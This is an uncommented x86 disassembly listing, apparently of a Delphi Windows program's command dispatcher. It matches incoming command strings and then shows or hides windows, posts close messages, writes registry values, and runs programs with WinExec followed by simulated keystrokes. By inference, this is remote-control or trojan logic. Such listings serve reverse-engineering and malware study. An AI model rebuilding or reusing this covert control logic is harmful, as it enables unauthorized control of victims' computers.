mov eax, dword [ebp - 0x38]
call fcn.00420b34
push 1
mov eax, dword [ebp - 0x38]
call fcn.00420ab4
push eax
call sub.gdi32.dll_SetBkMode
lea ecx, [ebp - 0x8900]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x8900]
mov eax, dword [ebp - 0x38]
mov eax, dword [eax + 0xc]
call fcn.0041fd84
lea ecx, [ebp - 0x8904]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 4
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8904]
call fcn.00409244
mov edx, eax
mov eax, dword [ebp - 0x38]
mov eax, dword [eax + 0xc]
call fcn.0041fdfc
lea ecx, [ebp - 0x8908]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 5
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8908]
call fcn.00409244
mov edx, eax
mov eax, dword [ebp - 0x38]
mov eax, dword [eax + 0xc]
call fcn.0041fb5c
lea ecx, [ebp - 0x890c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x890c]
push eax
lea ecx, [ebp - 0x8910]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 7
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8910]
call fcn.00409244
push eax
lea ecx, [ebp - 0x8914]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 6
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8914]
call fcn.00409244
mov edx, eax
mov eax, dword [ebp - 0x38]
pop ecx
call fcn.00420844
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x495b5e
mov eax, dword [ebp - 0x38]
call fcn.00403d58
ret
lea ecx, [ebp - 0x8918]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8918]
mov edx, 0x496b78
call fcn.00404f38
jne 0x495bf7
xor eax, eax
push ebp
push 0x495be0
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x30]
call fcn.004707c8
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496b84
mov eax, dword [ebp - 4]
call fcn.00490724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x495bea
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x891c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x891c]
mov edx, 0x496b90
call fcn.00404f38
jne 0x495ddd
xor eax, eax
push ebp
push 0x495dc6
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x8920]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8920]
call fcn.00409244
cmp eax, 7
ja case.0x495c59.0
jmp dword [eax*4 + 0x495c60]
push 0
lea ecx, [ebp - 0x8924]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8924]
call fcn.00409244
push eax
call sub.user32.dll_ShowWindow
jmp case.0x495c59.0
push 5
lea ecx, [ebp - 0x8928]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8928]
call fcn.00409244
push eax
call sub.user32.dll_ShowWindow
jmp case.0x495c59.0
push 0
xor edx, edx
mov ax, 0xf060
call fcn.00407a3c
push eax
push 0x112
lea ecx, [ebp - 0x892c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x892c]
call fcn.00409244
push eax
call sub.user32.dll_PostMessageA
jmp case.0x495c59.0
push 6
lea ecx, [ebp - 0x8930]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8930]
call fcn.00409244
push eax
call sub.user32.dll_ShowWindow
jmp case.0x495c59.0
push 3
lea ecx, [ebp - 0x8934]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8934]
call fcn.00409244
push eax
call sub.user32.dll_ShowWindow
jmp case.0x495c59.0
push 9
lea ecx, [ebp - 0x8938]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8938]
call fcn.00409244
push eax
call sub.user32.dll_ShowWindow
jmp case.0x495c59.0
lea ecx, [ebp - 0x893c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x893c]
call fcn.00409244
push eax
call sub.user32.dll_BringWindowToTop
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x495dd0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x8940]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8940]
mov edx, 0x496b9c
call fcn.00404f38
jne 0x495ffd
xor eax, eax
push ebp
push 0x495fe6
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x87dc]
mov edx, dword [0x4a0608]
mov edx, dword [edx]
call fcn.00403858
lea eax, [ebp - 0x87dc]
mov edx, 0x496ad8
xor ecx, ecx
mov cl, byte [eax]
inc ecx
call fcn.004031fc
jne 0x495f4d
lea eax, [ebp - 0x8948]
mov edx, dword [0x4a0314]
mov edx, dword [edx]
call fcn.00404d24
mov eax, dword [ebp - 0x8948]
call fcn.00409244
lea edx, [ebp - 0x8944]
call fcn.0045914c
lea eax, [ebp - 0x8944]
push eax
lea eax, [ebp - 0x894c]
mov edx, dword [0x4a06f0]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x894c]
pop eax
call fcn.00404df4
mov eax, dword [ebp - 0x8944]
call fcn.00409668
test al, al
je 0x495f4d
lea ecx, [ebp - 0x8954]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8954]
call fcn.00404fec
mov edx, eax
lea eax, [ebp - 0x8950]
call fcn.00404d24
mov eax, dword [ebp - 0x8950]
push eax
lea eax, [ebp - 0x8960]
mov edx, dword [0x4a0314]
mov edx, dword [edx]
call fcn.00404d24
mov eax, dword [ebp - 0x8960]
call fcn.00409244
lea edx, [ebp - 0x895c]
call fcn.0045914c
lea eax, [ebp - 0x895c]
push eax
lea eax, [ebp - 0x8964]
mov edx, dword [0x4a06f0]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x8964]
pop eax
call fcn.00404df4
mov eax, dword [ebp - 0x895c]
call fcn.00404fec
mov edx, eax
lea eax, [ebp - 0x8958]
call fcn.00404d24
mov eax, dword [ebp - 0x8958]
pop edx
call fcn.00458cac
lea eax, [ebp - 0x87dc]
mov edx, dword [0x4a0608]
mov edx, dword [edx]
call fcn.00403858
lea eax, [ebp - 0x87dc]
mov edx, 0x496adc
xor ecx, ecx
mov cl, byte [eax]
inc ecx
call fcn.004031fc
jne 0x495fdc
lea ecx, [ebp - 0x896c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x896c]
call fcn.00404fec
mov edx, eax
lea eax, [ebp - 0x8968]
call fcn.00404d24
mov eax, dword [ebp - 0x8968]
push eax
lea edx, [ebp - 0x8974]
xor eax, eax
call fcn.00402b64
mov eax, dword [ebp - 0x8974]
call fcn.00404fec
mov edx, eax
lea eax, [ebp - 0x8970]
call fcn.00404d24
mov eax, dword [ebp - 0x8970]
pop edx
call fcn.00458cac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x495ff0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x8978]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8978]
mov edx, 0x496ba8
call fcn.00404f38
jne 0x49636c
lea ecx, [ebp - 0x897c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 5
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x897c]
mov edx, 0x496bb4
call fcn.00404f38
jne 0x4960b8
xor eax, eax
push ebp
push 0x4960ae
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x8980]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 6
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8980]
push eax
push 0
push 1
lea ecx, [ebp - 0x8984]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 7
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov ecx, dword [ebp - 0x8984]
mov dl, 1
mov eax, dword [0x48a80c]
call fcn.0048a88c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4960b8
lea ecx, [ebp - 0x8988]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8988]
mov edx, 0x496bb4
call fcn.00404f38
jne 0x4961f9
xor eax, eax
push ebp
push 0x496119
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x898c]
mov edx, dword [0x4a0134]
mov edx, dword [edx]
call fcn.00404d24
mov eax, dword [ebp - 0x898c]
call fcn.0046ff00
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496123
push 0x3e8
call sub.kernel32.dll_Sleep_1
xor eax, eax
push ebp
push 0x4961ef
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x8990]
mov edx, dword [0x4a06d4]
mov edx, dword [edx]
call fcn.00404d24
mov eax, dword [ebp - 0x8990]
push eax
lea eax, [ebp - 0x8998]
mov edx, dword [0x4a0314]
mov edx, dword [edx]
call fcn.00404d24
mov eax, dword [ebp - 0x8998]
call fcn.00409244
lea edx, [ebp - 0x8994]
call fcn.0045914c
lea eax, [ebp - 0x8994]
push eax
lea eax, [ebp - 0x899c]
mov edx, dword [0x4a06f0]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x899c]
pop eax
call fcn.00404df4
mov eax, dword [ebp - 0x8994]
push eax
lea eax, [ebp - 0x89a0]
mov edx, dword [0x4a0568]
mov edx, dword [edx]
call fcn.00404d24
mov eax, dword [ebp - 0x89a0]
push eax
lea eax, [ebp - 0x89a4]
mov edx, dword [0x4a0134]
mov edx, dword [edx]
call fcn.00404d24
mov eax, dword [ebp - 0x89a4]
pop edx
pop ecx
call fcn.0046fd98
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4961f9
lea ecx, [ebp - 0x89a8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x89a8]
mov edx, 0x496bb4
call fcn.00404f38
jne 0x496311
xor eax, eax
push ebp
push 0x496307
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x496bc0
lea eax, [ebp - 0x89b4]
mov edx, dword [0x4a0314]
mov edx, dword [edx]
call fcn.00404d24
mov eax, dword [ebp - 0x89b4]
call fcn.00409244
lea edx, [ebp - 0x89b0]
call fcn.0045914c
push dword [ebp - 0x89b0]
lea eax, [ebp - 0x89b8]
mov edx, dword [0x4a06f0]
mov edx, dword [edx]
call fcn.00404d24
push dword [ebp - 0x89b8]
push 0x496bc0
lea eax, [ebp - 0x89ac]
mov edx, 4
call fcn.00404eac
mov eax, dword [ebp - 0x89ac]
call fcn.00404fec
push eax
lea eax, [ebp - 0x89c0]
mov edx, dword [0x4a06f0]
mov edx, dword [edx]
call fcn.00404d24
mov eax, dword [ebp - 0x89c0]
lea ecx, [ebp - 0x89bc]
xor edx, edx
call fcn.0040995c
mov eax, dword [ebp - 0x89bc]
call fcn.00404fec
push eax
lea ecx, [ebp - 0x89c4]
mov dx, 0x2d
mov ax, 0x321
call fcn.0048e25c
mov eax, dword [ebp - 0x89c4]
call fcn.00404fec
mov edx, eax
mov eax, 0x80000002
pop ecx
call fcn.00458784
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496311
lea ecx, [ebp - 0x89c8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 4
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x89c8]
mov edx, 0x496bb4
call fcn.00404f38
jne 0x49635f
xor eax, eax
push ebp
push 0x496355
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0048e544
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49635f
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x89cc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x89cc]
mov edx, 0x496bcc
call fcn.00404f38
jne 0x4963e4
xor eax, eax
push ebp
push 0x4963cd
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x30]
call fcn.0046f858
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496bd8
mov eax, dword [ebp - 4]
call fcn.00490724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4963d7
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x89d0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x89d0]
mov edx, 0x496be4
call fcn.00404f38
jne 0x496524
xor eax, eax
push ebp
push 0x49650d
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x89d4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
cmp dword [ebp - 0x89d4], 0
je 0x496503
push 0
lea ecx, [ebp - 0x89dc]
mov dx, 8
mov ax, 0x34e
call fcn.0048e25c
push dword [ebp - 0x89dc]
lea ecx, [ebp - 0x89e0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
push dword [ebp - 0x89e0]
push 0x496bc0
lea eax, [ebp - 0x89d8]
mov edx, 3
call fcn.00404eac
mov eax, dword [ebp - 0x89d8]
call fcn.00404fec
push eax
call sub.kernel32.dll_WinExec
push 0x3e8
call sub.kernel32.dll_Sleep_1
push 0
push 0
push 0
push 0x25
call sub.user32.dll_MapVirtualKeyA
push eax
push 0x25
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x25
call sub.user32.dll_MapVirtualKeyA
push eax
push 0x25
call sub.user32.dll_keybd_event
push 0x3e8
call sub.kernel32.dll_Sleep_1
push 0
push 0
push 0
push 0xd
call sub.user32.dll_MapVirtualKeyA
push eax
push 0xd
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0xd
call sub.user32.dll_MapVirtualKeyA
push eax
push 0xd
call sub.user32.dll_keybd_event
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496517
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x89e4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x89e4]
mov edx, 0x496bf0
call fcn.00404f38
jne 0x4966c5
xor eax, eax
push ebp
push 0x4966b1
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x89ec]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x89ec]
lea edx, [ebp - 0x89e8]
call fcn.00408d54
mov eax, dword [ebp - 0x89e8]
push eax
lea eax, [ebp - 0x89f4]
call fcn.00470834
mov eax, dword [ebp - 0x89f4]
lea edx, [ebp - 0x89f0]
call fcn.00408d54
mov edx, dword [ebp - 0x89f0]
pop eax
call fcn.00405130
test eax, eax
jle 0x4966a7
lea eax, [ebp - 0x89fc]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x89fc]
lea ecx, [ebp - 0x89f8]
mov eax, 0x4967ec
call fcn.0045839c
lea eax, [ebp - 0x89f8]
mov edx, 0x4967c8
call fcn.00404df4
mov edx, dword [ebp - 0x89f8]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x300]
mov ecx, dword [eax]
call dword [ecx + 0x78]
lea ecx, [ebp - 0x8a00]
mov dx, 4
mov ax, 0x356
call fcn.0048e25c
push dword [ebp - 0x8a00]
lea edx, [ebp - 0x8a04]
mov eax, dword [0x4a6a0c]
call fcn.004090d8
push dword [ebp - 0x8a04]
lea ecx, [ebp - 0x8a08]
mov dx, 5
mov ax, 0x35a
call fcn.0048e25c
push dword [ebp - 0x8a08]
lea eax, [ebp - 0x30]
mov edx, 3
call fcn.00404eac
lea eax, [ebp - 0x8a10]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x8a10]
lea ecx, [ebp - 0x8a0c]
mov eax, dword [ebp - 0x30]
call fcn.0045839c
lea eax, [ebp - 0x8a0c]
mov edx, 0x4967c8
call fcn.00404df4
mov edx, dword [ebp - 0x8a0c]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x300]
mov ecx, dword [eax]
call dword [ecx + 0x78]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4966bb
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x8a14]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8a14]
mov edx, 0x496bfc
call fcn.00404f38
jne 0x4966f4
mov eax, dword [ebp - 4]
call fcn.0049949c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x496787
lea eax, [ebp - 0x8a14]
mov edx, 0x64
call fcn.00404b50
lea eax, [ebp - 0x8884]
mov edx, 0x2a
call fcn.00404b50
lea eax, [ebp - 0x86dc]
mov edx, 0x3a
call fcn.00404b50
lea eax, [ebp - 0x85f4]
mov edx, 0x64
call fcn.00404b50
lea eax, [ebp - 0x8464]
mov edx, 0x45
call fcn.00404b50
lea eax, [ebp - 0x34]
mov edx, 3
call fcn.00404b50
lea eax, [ebp - 0x20]
mov edx, 3
call fcn.00404b50
ret